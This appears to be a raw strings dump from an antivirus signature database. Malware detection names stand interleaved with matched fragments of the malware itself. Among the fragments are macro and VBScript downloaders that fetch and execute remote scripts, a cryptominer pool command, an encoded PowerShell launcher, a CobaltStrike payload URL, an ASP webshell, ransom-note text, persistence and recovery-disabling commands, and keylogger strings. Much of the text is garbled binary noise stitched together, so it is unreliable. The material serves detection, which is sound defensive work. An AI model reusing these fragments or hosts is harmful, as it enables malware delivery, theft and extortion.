!Obfuscator.TX s=\"\"dimnn=0dimnnnn=\" cs=\"\"dimnn=0dimnnnn=\" \"dountiln=len(m)n=n+1s=s&chrw(ascw(mid(m,n,1))-&h9000+len(nn))loopexecutes !Obfuscator.TY Behavior:Win32/EdgeInjectBlock.A . Behavior:Win32/EdgeInjectBlock.A Rdpbrute.A !Hagcons.A 'CcZ\tm q2m:? i?/ag^ i?3Vq i?m:? =|+5` 6jFSlL !Dinolap!rfn !Injector.BH!bit Injector.II!bit CreateDecryptorTransformFinalBlock System.Reflection.Assembly !Posokap.A!bit KAPTOXA oscan process with pid for kartoxa \\mmon.pdb !Genmaldow.A!bit C:\\Program Files\\Cmd Files\\ img.syuan.net/forum/ MyAppByMulinB ExeProcesstest server.dat !Injecter MineBicoin.Y minerd-acryptonight-ostratum+tcp://mine.moneropool.org:80-u463rxdz7msmsodw Lminerd-acryptonight-ostratum+tcp://mine.moneropool.org:80-u463rxdz7msmsodw !Banload.BGC content-na.drive.amazonaws.com/cdproxy/templink/ ://cl.ly/ WshShell.Run chr(34) & \" .exe\" & Chr(34),0 !Miniduke!rfn !Spiliwan!rfn !Cuffahlt.C hostf shdnf cachf noncf cmdrf Uflooder.A!bit UDP_Flood Start Attack Eternals UDP Flood !Twexag.B @ \":data=split(data,\"h\")(1):subsavefile(fname,str):dimtemp:setxmldoc=createobject(\"microsoft.xmldom\"):xmldoc.loadxml\"<?xmlversion=\"\"1.0\"\"?>\":setpic=xmldoc.createelement(\"pic\"):pic.datatype=\"bin.hex\":pic.nodetypedvalue=str:temp=pic.nodetypedvalue:withcreateobject(\"adodb.stream\"):.type=1:.open:.writetemp:.savetofilefname,2:.close:endwith:endsub:setws=createobject(\"wscript.shell\"):fn=ws.expandenvironmentstrings(\"%temp%\")&\"\\tmp.exe\": Ransom:Win32/Empercrypt.A schtasks.exe /delete /TN uac /F 0YOUR PERSONAL INFORMATION ARE ENCRYPTED by 7ev3n *bcdedit /set {current} recoveryenabled off dblockchain.info/api/receive?method=create&address= FILES_BACK.txt 4?SSTART=true&CRYPTED_DATA= \"fgate.php?RIGHTS= !Doedlid !Banload.BGD !Tacpud.A RWQEq Disable_All [RCon]| [New]| [Rcon]| [Done]| [Move]| [TCP]| [UDP]|  [HTT]| [Wait]|  Open !Nivdort.DI Trojan:Win64/MineBicoin.Y !MineBicoin.Y !Itagomoko.A !Itagomoko.A]@ |<\tts O>YmE6 |Sc0vA7 _GV!{ Backdoor:Win64/Kenoja.A AAxpergle.CH U?\"\\x 0-9a-f\":\" a-z+=( 0-9+?\" !Pizwin.A ARedirector.QA .useragent;varb3p3f=0;if(nsd5ik.indexof(\"\\u0057in\\x64ows\")==-1||(nsd5ik.indexof(\"msi\\u0045\")==-1&&nsd5ik.indexof(\"\\u0047ec\\u006bo/\")==-1&&nsd5ik.indexof(\"trid\\u0065n\\u0074\")==-1)){return0;}try{try{if(demsfw(jcvjp4p)==od4rg9){returnfalse;}}catch(rdwfb9t){};if(nsd5ik.indexof(\"ms\\x49e\")!=-1||nsd5ik.indexof(\"\\x54rid\\u0065nt\")!=-1){try{b3p3f=umm8qu();functionumm8qu !QQpass.CKH!bit qq.exe786464602A3F3F SendSMSActive Action=AddUser&Server= &User= !Expiro.EA!bit BAOAOOAAO !Fakeon.A!bit 1sass.exe New Folder.exe Hideprocess @Autor David Farji - Concepto 201 !Lidared !Banload.BGE !Injector.ID!bit !Injector.IE!bit !Delf.ZXX!bit !Itagomoko sn\t(,~3 !Wmfap!rfn !Coolvidoor!rfn Trojan:HTML/Redirector.FS <scriptsrc=http://w0rms.com/sayac.js> '<scriptsrc=http://w0rms.com/sayac.js> Backdoor:ASP/Ace.U onerrorresumenextsetfileso=createobject(\"script\"&byp4ss&\"ing.file\"&byp4ss&\"systemobject\")dimhead,endd,pathn,endddfolderpath=request.servervariables(\"pat\"&byp4ss&\"h_trans\"&byp4ss&\"lated\")privatefunctionparsefolder(pathstring)dimlicountifright(pathstring,1)=\"\\\"thenparsefolder=pathstringelseforlicount=len(pathstring)to1step-1ifmid(pathstring,licount,1)=\"\\\"thenparsefolder=left(pathstring,licount !Itagomoko!rfn Zurten.A AIframe.ES status=location;document.write('<iframesrc=\"http://track.wwwapps-ups.com/stats/xstats.php\"width=\"0\"height=\"0\"frameborder=\"0\"></iframe>'); AQakbot.M @ shcHh hcHh]h !Pdfphish.Q !Delf.ZXZ!bit msiexec /q /i] !Uoolop.A!bit !Mkar.I!bit SOFTWARE\\Microsoft\\Mrak \\Netstart\\svchost.exe !Annia!rfn Behavior:Win32/SupTab.R -ptid= !Nivdort.DJ Banablid.A !Tipikit.D !Swizzor.IR !Ryknos.R !Ryknos.S !Small.FK !Opanki.AI !Opanki.AJ !Opanki.AK !Opanki.AL !Opanki.AM !Oscarbot.M !Truim.I !Prix.A !Prix.B !Hooker.P !Wootbot.BI !Spybot.AM !VB.FH !IceHack.A !Luhn.C !Banbra.Q !Utilman.A !Munzter.A !VB.WQ !Junty.A !Simple.A !Luzia.B !VB.WR !winrar.A !Lmirtool.A !Asank.A !Randex.AB FZcXy !Anarchy.A !Mescalin.A !HammerBinder.A 5HammerBinder.A !Floodsave.A !Delf.DZ http://www.universal101.com/upd x=0/ed=0/ex=1  http://aklick.info/d.php?date= 4 !Hamer.A !Hamer.B !Hamer.C !Hamer.D !Hamer.E !Hamer.F !Nilob.A !LookMSN.A !Apropo.N !Novelce.A !Novelce.B !Novelce.C !Apropo.O !Purga.A 5kmo.  k@:] !Boxed.S !Boxed.T !Expor.A !IEZones.D !Delf.FG !Wisdoor.B !Adlinks.A !VB.GH !Outbreak.C !Omefig.A !Gaobot.CZ !Gaobot.DA !Delf.TH !VB.WS !Sdnacm.A !Vasvix.A !Sadfas.A !Swizzor.CH )Atak.F !Delf.EV )Atak.I !Lookme.H !Randex.FF !Salira.A !Startpage.SC !Small.RO !Small.OL !Ciadoor.D !Small.RP !Startpage.TB !VB.B !Bilay.A ~u.\\F0` aOpenStream.I !Safq.A !Teeme.A !Veenet.A w%PYm !RPCNuke.C !VB.EI !Amitis.A !Amitis.B !Amitis.C !Faviant.A !IEZone.A !Gaobot.ZQ DS!b!b !Banco.EL !Banco.EM #Banco.EM !Outbreak.E !VB.BZ !Vidlo.H !VB.EM L(@\"] !VB.EN #VB.EL !Masteseq.F 7iF]7h`% !Masteseq.G !Masteseq.H !Masteseq.I !Masteseq.J !Masteseq.K !Adialer.FI !Masteseq.L !Baasay.A !Masteseq.M ]7`.Z\t !Masteseq.N !Masteseq.O !Masteseq.P !Masteseq.Q !Vaasay.A !Microjoin.D !Small.BT !Qaasay.A !Small.BU !Delf.FI !Dipass.A !Masteseq.R !Masteseq.S !Dipass.B !Shodi.G !CheeShodi.A #CheeShodi.A !Spybot.AP !Spybot.AQ !Spybot.AR !Spybot.AS !Small.NT !Qoologic.C !Adialer.FJ !Badrat.A z;3\t> !Badrat.B !Badrat.D !Badrat.E !Small.EA !Badrat.F !Adpower.E !Badrat.G !Laxor.A !Adialer.FK !Badrat.H !Badrat.I !Badrat.J !Banito.U !Fandool.A !Kamipeef.A !VB.GA !MedMotor.A !Totalvel.A !Small.NU !SecondThought.R !Mudrop.I !Bropia.E !Bropia.F !Bropia.G !Bropia.H !Spybot.BA !Spybot.BB !Spybot.BC !Pakes.C !Bropia.I !Spybot.AY !Bropia.J !Spybot.AZ !Gaobot.ZY !Bropia.L !Spybot.BD !Qoologic.E }1`b`& !Qoologic.F !Fratele.A !Fratele.B !Fratele.C !Wootbot.BK !Wootbot.BL !Wootbot.BM aClassloader.E !Bube.B !Bube.C !Meshbot.A !Bropia.N !Spybot.BJ !Bropia.O !Bropia.P !Spybot.BM !Spybot.BL !Gaobot.AAE !Joiner.AG !Small.M !Small.DE !Radmin.D !Small.PC !Delf.DA !Pino !Wootbot.BN 2-8b63-2f2291d6e56a c8d5ae9d-21af-48c2-89e0-ae60026c5ab0 c8d5ae9d-21af-48c2-89e0-ae60026c5ab0] !Blinsload.A http://lavajatowi.sslblindado.com/ 0#3http://lavajatowi.sslblindado.com/ 01.rar \\vmapp  ?0#c:\\programdata\\  !MobicArch.A !VBInject.AEJ !CVE-2015-1641 !CVE-2015-1641m@ 588%Z_ &dtsz !|+0 `fESaD GkE%;M, GkE%;M,0  %;M,g \\~ W3 JJk,wu  -eH0g  \tejhg Ransom:JS/Fakpst.A t=\"australiapost\"src=\"http:// ut=\"australiapost\"src=\"http://  .ru/ .jpg\">australiapost</td> href=\"http:// @.ru/ @.php?id= @\"_blank\">print Ransom:JS/Fakpst.B .php?id=  =\",\"\\x72\\x65\\x70\\x6c\\x61\\x63\\x65\",\"\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\"];window[_  [0]);</script><imgheight=\"1\"width=\"1\"alt=\"\"style=\"display:none\"src=\"// !Banker.AOY r.leandro.santos2015@uol.com.br dusterifos2020@gmail.com agoraachoquevaiavisonovo@gmail.com senderenvioemail.tmp maria2089 !CVE-2015-1770 !Frosparf.A /cdn.pekalongan-kummunity.com InjectMN \\pekalongan.vbp /files/zza15.zip windows\\073CZ59.exe HackAlert Credit Cheat Pekalongan Kommuniti ARedirector.OK bytiger-m@te (bytiger-m@te <script>var_0x =[\"\\x TrojanDownloader:O97M/Donoff.P RwtpBoqn SuklNzMvdmKdHhyKrHvGvcBB hPMQQpTNoydvTmnAOlzBQZSLGHRleJO OGUXESxGLrJiHkxa, qeOtzBJemRtwnWSVq TrojanDownloader:O97M/Mektwool.A  TrojanDownloader:O97M/Mektwool.A Lib \"shell32\" Alias _  \"ShellExecuteA\" (ByVal Lib \"urlmon\" Alias _  \"URLDownloadToFileA\" (ByVal Dim UrlToDownloadAndExecute As String  UrlToDownloadAndExecute = byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec] Craxfora.A G_NomeArqDestinoIniciar Func_Conex Func_TemOCara Func_Arroxa select guarda1 from ropeiro INSERT INTO tbl_avs values (@id_pc,@versao,0,0,@ggbb,0,0,0,0,0,@data) SQL5009.Smarterasp.net Evestern.exe myKey123 TrojanDownloader:O97M/Donoff.Q --8rvvj\" Environ$( StrReverse( Xor first(Temp + first((third + first(third)) Mod 254)) 7Xor first(Temp + first((third + first(third)) Mod 254)) 77Btxxl\", TrojanDownloader:O97M/Donoff.R  = NewPath & NewPath & \"\" & \"C:\\Users\\\" & NewPathe & \"\\AppData\\Local\\Temp\" & Split( S = NewPath & NewPath & \"\" & \"C:\\Users\\\" & NewPathe & \"\\AppData\\Local\\Temp\" & Split(  = LovesAllofYouLoveYour(\"xxx gHJdfh.exec(OIKJIKHJ !VBInject.AER LLLLu S@8}# TrojanDownloader:O97M/Donoff.S \"ht$tp$:/ \t\"ht$tp$:/ \"h??tt??p:/ Environ(Replace(\" , \"$\", \"\")) Replace(\"O ShellExecuteW 0&, !Taloc.H TrojanDownloader:O97M/Donoff.T .exec(obxvhKDkLL95) UnscrambleString(\"mpt\") zBzbmMmAG(0, oz8wJHIeSx8l, obxvhKDkLL95, 0, 0) \"esw.stilhplcr\" !AutInject.BY !Bunitu.M trew/1.0 200 OK ursent rsion tify\\ \\Xhardd ccess\\S rameters\\GirewallPolicy\\StandardProfile\\ !VBInject.AES CCCCu BBBBu !Banload.X =temppasta+zipfile+\"e\"+\"\"\"\"+foldername+nmfile+\"\"\"\"+\"-aoa\"+\"-p\"+pass+\"-o\"+\"\"\"\"+foldername+\"\"\"\"+\"*.exe\"+\"-r\"wshshell.run ,1,true temppasta+fcrypt(hextostring(zipfile),ch3a)+\"e\"+\"\"\"\"+foldername+fcrypt(hextostring(nmfile),ch3a)+\"\"\"\"+\"-aoa\"+\"-p\"+pass+\"-o\"+\"\"\"\"+foldername+\"\"\"\"+\"*.mkv\"+\"-r\"wshshell.run !CeeInject.GM !Banload.Y !Obfuscator.APU !Febian.A d:\\ms.txt \\bfconfig.txt BianFengBackDoorV !Obfuscator.APV !Obfuscator.APW Behavior:Win64/Lequse.A!dha Behavior:Win32/InjectedRemoteThreadSqlservr .+Behavior:Win32/InjectedRemoteThreadSqlservr Trojan:Win64/Lequse.A!dha !Padede.A SIGATTR:Win32/Padede.A&HSTR:Win32/Padede.A] .*SIGATTR:Win32/Padede.A&HSTR:Win32/Padede.A] !Kripfly.A linkzip,stemppast+nameziptpushuulinkpri,stemppast+namepristr8zip=stemppast+namezip+\"x\"+stemppast+namepri+\"-aoa\"+\"-p\"+spasswd+\"-o\"+sapppastobjwshell.runstr8zip !Obfuscator.APX Pluterdma.A -opuntos.exehttp://www.profwoman.ru/mp3remrenamematrix.servmatrix.exe G-opuntos.exehttp://www.profwoman.ru/mp3remrenamematrix.servmatrix.exe !Startpage.XZ !Banload.Z +M:@j Q+M:@j !Eigivef.A !Obfuscator.APZ !Banload.AA environ(chr(65)&chr(112)&chr(112)&chr(68)&chr(97)&chr(116)&chr(97))&chr(92)&chr(86)&chr(66)&chr(69)&chr(5 )iffileexists(slocalpath&chr(92))thenwscript.quitmkdirslocalpathslocalpath=slocalpath&chr(92)&randomstring(8)&chr(46)&chr(101)&chr(120)&chr(101) chr(104)&chr(116)&chr(116)&chr(112) !Banload.AB =wscript.createobject(\"wscript.shell\")dimappdatawin7=objwshell.expandenvironmentstrings(\"%appdata%\")winxp=objwshell.expandenvironmentstrings(\"%windir%\\system32\")a0218367812b\"ht !CeeInject.gen!LG Dolphtoob.A eE*mw U6I775B3XVykqfxRtyePbA== Dolphin Boot - Coded For Dolphin Protector /c echo [zoneTransfer]ZoneID = 2 > pchealth.exe UrlAssociations\\http\\UserChoice 4hrfienz.rfk.dll !Banload.AC regsvr32.exe/s\":savebinarydatabinarygeturl(surl&\"c.html\"),snomeimg:objwshell.runscamaro&smonza&snomeimg&smonza&ssenha wregsvr32.exe/s\":savebinarydatabinarygeturl(surl&\"c.html\"),snomeimg:objwshell.runscamaro&smonza&snomeimg&smonza&ssenha !Olutall AMeadgive.V Exploit:HTML/Meadgive.N !Obfuscator.AQA !VBInject.AEQ !Upatre.CD > gL] !CeeInject.GN !Injector.GW TrojanDownloader:O97M/Kriof.A -window hidden -enc Critical Microsoft Office Error JAAxACAAPQAgACcAJABjACAAPQAgAC Ransom:HTML/Tescrypt j,k-+ Bartallex.M  As Integer) )  & \"om/w\" & \"p-includes/theme-compat/\" (ATTH + STT1 + LNSS) Behavior:Win32/DnsTamperLib !OnionDuke.A!dha !OnionDuke.C!dha upload_slowdown_ms: master_slave_policy: post_per_request_limit_kb: local_limit_mb: mycert: hex( - arg: campaign_id !OnionDuke.B!dha !OnionDuke!dha Nagoot.A I=M>\t] !Worqid.A !Upatre.CE !Banker.AOZ !AutInject.BZ :.iI7 !Seepeldown.D !VBInject.AET !Obfuscator.AQC !Brucryp O+P3f85OR !Startpage.YH !Alucple !Codbot fGLOBAL CONST $DVD_FILE_ROOTPATH = \"autorun\\autorun. GLOBAL CONST $DENY_PROCESS_LIST = STRINGSPLIT ( \"Burn|nero|clone|iso|dvd|cd|alc|bw|taskmgr\" , \"|\" ) GLOBAL CONST $DENY_WINDOWS_LIST = STRINGSPLIT ( \"Ashampoo Burning Studio|Alcohol 120|Alcohol 52\" , \"|\" ) REGWRITE ( \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" , \"NETLib\" , \"REG_SZ\" , @SCRIPTFULLPATH ) #NoTrayIcon #RequireAdmin] !Weebu.A !Obfuscator.AQB !Obfuscator.AQD Ffloq.A set_Expect100Continue Firefox.Resources.resources ConfuserEx v0. ConfuserEx v0.g Katara.A Tectizo.A Subti.G /c reg add \"HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\W !Slackbot.D p8eJ* )Gopworm.A )Heyya.A )Skybag.B B_T(y )Torvil.D !Blaxe.A !Bomka.A !VB.ZS !VB.ES !Delf.HN !Bancos.ID !Banker.UJ !VB.ANO !Banker.DER !Bomka.B !VB.IF !Aimbot.BA !Amitis.D !Beastdoor.CK !Beastdoor.CL !Beastdoor.CM !Beastdoor.CN !Bifrose.DB !Bionet.F !Coldfuson.I !Delf.YU !Delf.YV !Kamikaze.A !Lithium.C !Netdevil.L !Optix.AA !Optix.AB !Optix.AC !Optix.AD !Optix.AE !Optix.AF !Optix.AG !Optix.AH !Optix.AI !Optix.AJ !Winshell.G !Winshell.H !Winshell.I !Winshell.J !Winshell.K !Eliterab.B l,+K@ !Madtol.G !Delf.KV ,taWi !VB.WJ !VB.WK !WarSpy.G !Bancos.IF !Delf.GY !Scane.A !Tuim.D !Tuim.E !Smuma.B !Smuma.A !Mulod.A !Yiha.A !Bifrose.B !Feardoor.L !Sfind.B !Frusion.A !Ducky.A !PWSteal.D !Zinflow.A aFURootkit.A do'MK c0\\Q}s&G !VB.WA !Aflooder.A !VB.WB !VB.K !PcClient.C !Aflooder.B !ProcKiller.A !VB.WC !Delf.RJ !Small.VL !Sennaspy.2000 !Funner.A !Recto.A !Small.VN !Small.VO !VB.WD !Small.AF r aiE !Gaobot.ZG !Small.VR !VB.BU !VB.WE !Small.AG !Splitu.A !Tuim.G !Tuim.H 5P1):v !Lmir.QW !Small.BV Maxload.A V/e ] )Mywife.G !Protoride.AD !Bancos.BH !Randex.FD !Gaobot.ZH !Dcom.BX !Banbra.R !Small.LS !Delf.FE !Bancos.BK Provider=SQLOLEDB.1;Password= javascript:enviaUrl Enviarpgina Windows messenger javascript:cadastroSenhas() \\liberaplug.log !Delf.SC !DcomScan.A !Small.MI !Small.MK !Small.ML !Bancos.BL !Wootbot.CR !Startpage.PS !Small.MM !Gaobot.ZK !Small.MO !Inof.A !Small.MQ !Banbra.Z !Small.MS \t7t!\") !Small.MT !Triject.A !Bifrose.E !Spybot.AO !Small.MU !Delf.FH !Small.MV !Adfram.B !Small.MW !Adfram.C !Adfram.D aClassloader.D !Adfram.A >c@lf !Pekax.A !Spuid.A !Smym.A )Mugly.C !NetexScan.A !SynFlood.F !Small.MX !Gaobot.ZL !Gaobot.ZM !Banbra.AA !Small.BW !Small.MZ !WebSearch.C !Webber.L !Delf.FF qEeg& !Hidproc.A !Small.NA >dM,G !AdSearch.A !AdSearch.B !Winad.B !Protoride.AF !Small.MY !NetexScan.B +Klez.H@mm !Small.NB !VB.DX !Startpage.PW !Outbreak.D !Small.NC !Startpage.PV !Small.B !Small.AL h<[ g/\\ !Small.AM !Small.AN !Banbra.AB !Startpage.PX !Adialer.FE !Adialer.FF !Adialer.FG !VB.DY !Small.BZ !Killfiles.FI !Killwin.W !Primativ.A !Zalim.A !Small.AO !Small.AP !Small.CN !Small.NP !Small.NQ !Zalim.B !Small.L !Berbew.CN !Berbew.CO !Banker.FO !Small.NR !Small.CO Behavior:Win32/Dirtvanontufo.A!nri .\"Behavior:Win32/Dirtvanontufo.A!nri Behavior:Win32/Solorabbit.B!nri Behavior:Win32/MZPEMemoryArtifacts.D .$Behavior:Win32/MZPEMemoryArtifacts.D !Chadivendo.STA Global\\ !Chadivendo.STB !Chadivendo.STC Pjjjjjjjh DebugBreak \\Temp\\edg AgentTesla.OXAR!MTB AgentTesla.OXAS!MTB Trojan:PDF/Phish.RRE!MTB Behavior:Win32/SuspMshtaLaunch.B . Behavior:Win32/SuspMshtaLaunch.B Behavior:Win32/RegWriteScript.A PP\t@/L\\microsoft\\windows\\currentversion\\run vbscript:execute Behavior:Win32/RegWriteScript.B PP\t@4 hkcu\\software  test-connection Puntil Exploit:O97M/CVE-2017-11882.HZ!MTB \"Exploit:O97M/CVE-2017-11882.HZ!MTB @ !Chadivendo.STD ServiceDll wwlib.dll Psc start \"%s\" f2032.com \tf2032.com Worm:AndroidOS/Goodnews.B!MTB Lcom/chodukaka/isporban StartAppAd  getSubId You need to click on Ad to Continue. $You need to click on Ad to Continue. To start Tiktok, follow next steps \"To start Tiktok, follow next steps Click on Next Button to continue  Click on Next Button to continue http://tiny.cc/Tiktok-Pro Share this APP on Whatsapp groups 10 Times.\\nto Start Tiktok. =Share this APP on Whatsapp groups 10 Times.\\nto Start Tiktok. AgentTesla.TL!MTB )1~]Tm TrojanDownloader:O97M/EncDoc.PKM!MTB $TrojanDownloader:O97M/EncDoc.PKM!MTB Behavior:Win32/DllMsiexecInject.B .!Behavior:Win32/DllMsiexecInject.B Trojan:ASP/Webshell.PB!MTB Trojan:O97M/ZLoader.RJ!MTB Racealer.DA!MTB $4365bee4-1b24-4b5f-815e-d5408dea8639 OnScreenKeyboard.Properties.Resources DebuggingModes] Racealer.DB!MTB $519712d6-3c83-4b33-92b5-37f06995e528 $AAC9D1F6-E722-467C-8DAC-634967DB27FE SB.My.Resources FallbackManager.My.Resources !Ranumbot.RF!MTB eGlVXL Pjjjj DarkKomet.R!MTB !Stealer!MTB !SpyNoon!MTB !AveMaria!MTB !Spynoon.AVP!MTB TrojanDropper:O97M/Hancitor.EMLU!MTB %$TrojanDropper:O97M/Hancitor.EMLU!MTB & \"\\MsMp.dll\") = \"\" Then plop & \"\\MsMp.dll\") Call rnee(uuu, aaaa)] Agensla.GD!MTB http://myliverpoolnews.cf/liverpool-fc-news/features/ UserAgent: DownloadString] Rocke.A!MTB TrojanSpy:PowerShell/Stealer!MSR ' TrojanSpy:PowerShell/Stealer!MSR :\tdg& TrojanDownloader:O97M/EncDoc.RGEA!MTB %TrojanDownloader:O97M/EncDoc.RGEA!MTB 4htps:/ino.caregjc\\zmsffdwbkdvxul,rvlmontajexuyighpby 74htps:/ino.caregjc\\zmsffdwbkdvxul,rvlmontajexuyighpby TrojanDownloader:O97M/Obfuse.BB!MTB #TrojanDownloader:O97M/Obfuse.BB!MTB zzzzh_b64 = zzzzh_b64 & \"/lasdwe/bdaa3811-bb6c-42c7-ae25-0329f3a59ce1\", 436, zzzzh DynMemcpy alloc, zzzzh, hread, hwrite .ExpandEnvironmentStrings(\"%TEMP%\") & \"\\cym_16001380430BD84B24.exe\" Based = Based & hcffgfawrenm( & Chr$(Val(\"&H\" & Mid$( , 2))) = kuQWG9Jl(UserForm1.Label1.Caption) .Environment(\"process\").Item(\"param1\") = .run \"cmd /c call %param1%\", 2 = Split(afterBool, \"#\") c:\\\\users\\\\public\\\\nameTpl.h Optional refCnt = \"t\", Optional lBDocument = \"a\") = responseDeleteResponse & convertScr & \"\" & refCnt & lBDocument = responseDeleteResponse & convertScr & \"\" & refCnt & lBDocument] !SelfDel.V!MTB axq,Ng Trojan:Win64/CryptBanker!MTB Trojan:Win64/CryptInject.V!MTB Asyncrat!MTB Ransom:MSIL/Cring.DA!MTB your network is encrypted Crypt3r @tutanota.com killme.bat killme.bat] !Stelega.DE!MTB Ftbi}oMeakBqabzzrA Ftbi}oMeakBqabzzrA] !QQPass.DA!MTB KLJEWERHsdwqeh23211!@asdqSADwe BRESUZCDY.jpg wahaha wahaha] Trojan:AndroidOS/FakeApp.K!MTB Lcom/wagd/gg/MyService; /update/update.conf load64Data bytes getThisAppArch MobclickRT  /system/app/Kinguser.apk TrojanDropper:O97M/Donoff.PK!MSR % TrojanDropper:O97M/Donoff.PK!MSR = \"s\" & \"c\" & \"he\" & \"du\" & \"le\" & \".\" & \"s\" & \"e\" & \"r\" & \"vic\" & \"e\" F= \"s\" & \"c\" & \"he\" & \"du\" & \"le\" & \".\" & \"s\" & \"e\" & \"r\" & \"vic\" & \"e\" = \".\" & \"e\" = writeToFile(p & \"b.doc\", tOut)  = writeToFile(p & \"b.doc\", tOut) = \"x\" & \"e\" = publicpath & bslash & \"do\" & \"c\" & \"u\" & \"m\" & \"e\" & \"nt\" & \"s\" & bslash J= publicpath & bslash & \"do\" & \"c\" & \"u\" & \"m\" & \"e\" & \"nt\" & \"s\" & bslash = StrConv(\"PF&5NQK*mR^x94GE6HaU>%M;L{17/}@lDXgWq,ovitj`s~$fASyJcOd :rT8bV3-0\", vbFromUnicode) ]= StrConv(\"PF&5NQK*mR^x94GE6HaU>%M;L{17/}@lDXgWq,ovitj`s~$fASyJcOd :rT8bV3-0\", vbFromUnicode) Behavior:Win32/Chadivendo.A Lnet start !Chadivendo.STE ServiceResponce.dll ServiceResponce.dllServiceMain !Chadivendo.STF  %08x.txt TrojanDownloader:O97M/IcedId.MR!MTB #TrojanDownloader:O97M/IcedId.MR!MTB Behavior:Win32/ModMon Behavior:Win32/SystemMiner.A --donate-level AgentTesla.OXAT!MTB TrojanDownloader:O97M/IcedID.RVN!MTB $TrojanDownloader:O97M/IcedID.RVN!MTB \"c:\\progra\", Optional   = \"ta\" ((\"explorer \") Split(ActiveDocument.Range.Text, \"x\") & \"mdata\\  .h\" & Print #1,      out & Chr(arr(cnt) Xor 100) TrojanDownloader:O97M/Obfuse.RVW!MTB $TrojanDownloader:O97M/Obfuse.RVW!MTB ddzdqsdff() & \"\\\" + rmlkejgmlkdfjgri(2) + \".exe\" PxPToxhq.Open \"GET\", sdqsldjkf, False slkfjdfjhglkjdshze.Run XxX, 1, True str & Mid(LETTERS, Int(strLen * Rnd + 1)) str & Mid(LETTERS, Int(strLen * Rnd + 1))] TrojanDownloader:O97M/Donoff.MXT!MTB $TrojanDownloader:O97M/Donoff.MXT!MTB \"HTTPDownload 'http://1lxtjdias-pod:8080/stage3.exe' CreateObject (\"; Scripting.FileSystemObject; \") Wscript.CreateObject (\"; Wscript.Shell; \") \"WshShell.Run strFile\" FolderExists(Left(path, InStrRev(path Shell \"wscript C:\\DEV\\VBA\\stage2.vbs\" fp = \"C:\\DEV\\VBA\\stage2.vbs\" fp = \"C:\\DEV\\VBA\\stage2.vbs\"] !Konus.SG!MTB data_inject [TAB] [DELETE] [BACKSPACE] [RETURN] F3P7Y6P3U3E2U5F3 P4Y7T7R7R8X3E3A3 D3S0A7R4F6C8F2R5   :Zone.Identifier profiles.ini B \\Google\\Chrome\\User Data\\Default\\] !Konus.SH!MTB C3E0Q6R7F1H2G5A4 https://api.ipify.org/ ?a=3 ?a=3     explorer.exe] Behavior:Win32/DridexDllPreload.A .!Behavior:Win32/DridexDllPreload.A @!\\syswow64\\ @!\\system32\\ Behavior:Win32/DridexDllPreload.B .!Behavior:Win32/DridexDllPreload.B !Salgorea.A!MTB !Spynoon!MTB !Predator.SS!MSR !Predator.AR!MSR !Predator.PJ!MSR NanoBot.RKC!MSR !Tnega.AL!MTB ZJ:2 u f k,J !Obfuse.MXR!MTB dimmdpe, mdpe=\"krbgdwdtjonzpcmditsbquporkyvowsjggzrmtm\"setmdpe=createobject(\"microsoft.xmlhttp\") =\"https://pjoao1578pro2.site/crypt/vbscript.txt\"mdpe.open\"get\", ,falsemdpe.send\"\"execute(\"execute(mdpe.responsetext)\") Ransom:Win64/DelShad!MSR !Borhieda.STA Processcurb.A!MTB Trojan:Win64/CobaltStrike.STB Trojan:Win64/CobaltStrike.STB\t@ 8+Veb~ !Lokibot.RV!MTB !Obfuse.RA!MTB pjoao1578pro2.site/crypt/vbscript.txt 3pjoao1578pro2.site/crypt/vbscript.txt  Ohttps:// Processcurb.A1!MTB startingexploit..$nc\"sleep4echo\"\"echo-e\"$az$cu2$bcheckpathbash @startingexploit..$nc\"sleep4echo\"\"echo-e\"$az$cu2$bcheckpathbash Processcurb.A2!MTB echo-e\"$v$cu1$bgettingashellasroot..$nc\"sleep2echo\"\"tputcnorm ?echo-e\"$v$cu1$bgettingashellasroot..$nc\"sleep2echo\"\"tputcnorm APhish.VS!MSR window.frames['load-url'].location='http://r3.o.lencr.org/' =window.frames['load-url'].location='http://r3.o.lencr.org/' !CobaltStrike!MSR http://185.225.19.240/dmenconsvc.dll &http://185.225.19.240/dmenconsvc.dll Trojan:XML/ObfInject!MTB TrojanDownloader:O97M/TrickBot.RTS!MTB &TrojanDownloader:O97M/TrickBot.RTS!MTB !Empire.B eMicrosoft Loader] !Banker.SE C:\\TEMP\\\\ 0KC:\\Documents and Settings\\ \\Local Settings\\Application Data\\amb0 Banker.D !VB.AEE !Delf.JJ !Pidief.CI !Pidief.CJ !Pidief.CK aOpenStream.AP !VBInject.NG !VB.LP Scylla Botnet.+\\\\Server\\\\Proyecto1.vbp ,'Scylla Botnet.+\\\\Server\\\\Proyecto1.vbp !Startpage.NT [*9\"< !VB.AEF \\\\Laboratorio de Virus\\\\WinXP\\\\Downloader.vbp 3.\\\\Laboratorio de Virus\\\\WinXP\\\\Downloader.vbp !QQpass.DZ !Agentsmall.F C0\t\t8  C0\t\t8  C0\t\t !Agentsmall.G !Agentsmall.H C0\t\tz  C0\t\tz , C0\t\t !Delall.D !QQpass.CJA !Slefdel.C !Murlo.R !Murlo.N !Murlo.Q !Startpage.ACA !Startpage.ACB !QQpass.CIB !OnLineGames.ZEC ]GB}n !VB.YAI !VB.YAL !OnLineGames.ZEE!dll ~f]yu !VB.YAC fSM/N. -j'@d !FakeMS.C -uzf-- !Delf.ZXA !OnLineGames.AAE !Startpage.YG !Delf.ZXB Hh4c@ kA.-\t !VB.AEZ !VB.YAJ )o}a: !Zhbin.A !Startpage.YF Startpage.C Startpage.D !Startpage.AB 8CLSID\\{871C5380-42A0-1069-A2EA-08002B30309D}\\ShellFolder #WshShell.CreateShortcut(Favorites & J\\In\"&\"t\"&\"ern\"&\"et Expl\"&\"or\"&\"er\\M\"&\"a\"&\"i\"&\"n\\S\"&\"t\"&\"ar\"&\"t P\"&\"a\"&\"ge\" 1\\Wi\"&\"nd\"&\"ows\\C\"&\"urren\"&\"tVers\"&\"ion\\R\"&\"u\"&\"n\\ /f/q/a del \" \\Internet*.*\" 1nkfile\\shellex\\IconHandler 1nkfile\\shellex\\IconHandler] !Agent.EK open\\internetexplorer\\iexplore.exehttp://home.zh-cn.cc/ 9open\\internetexplorer\\iexplore.exehttp://home.zh-cn.cc/ !Agent.EL 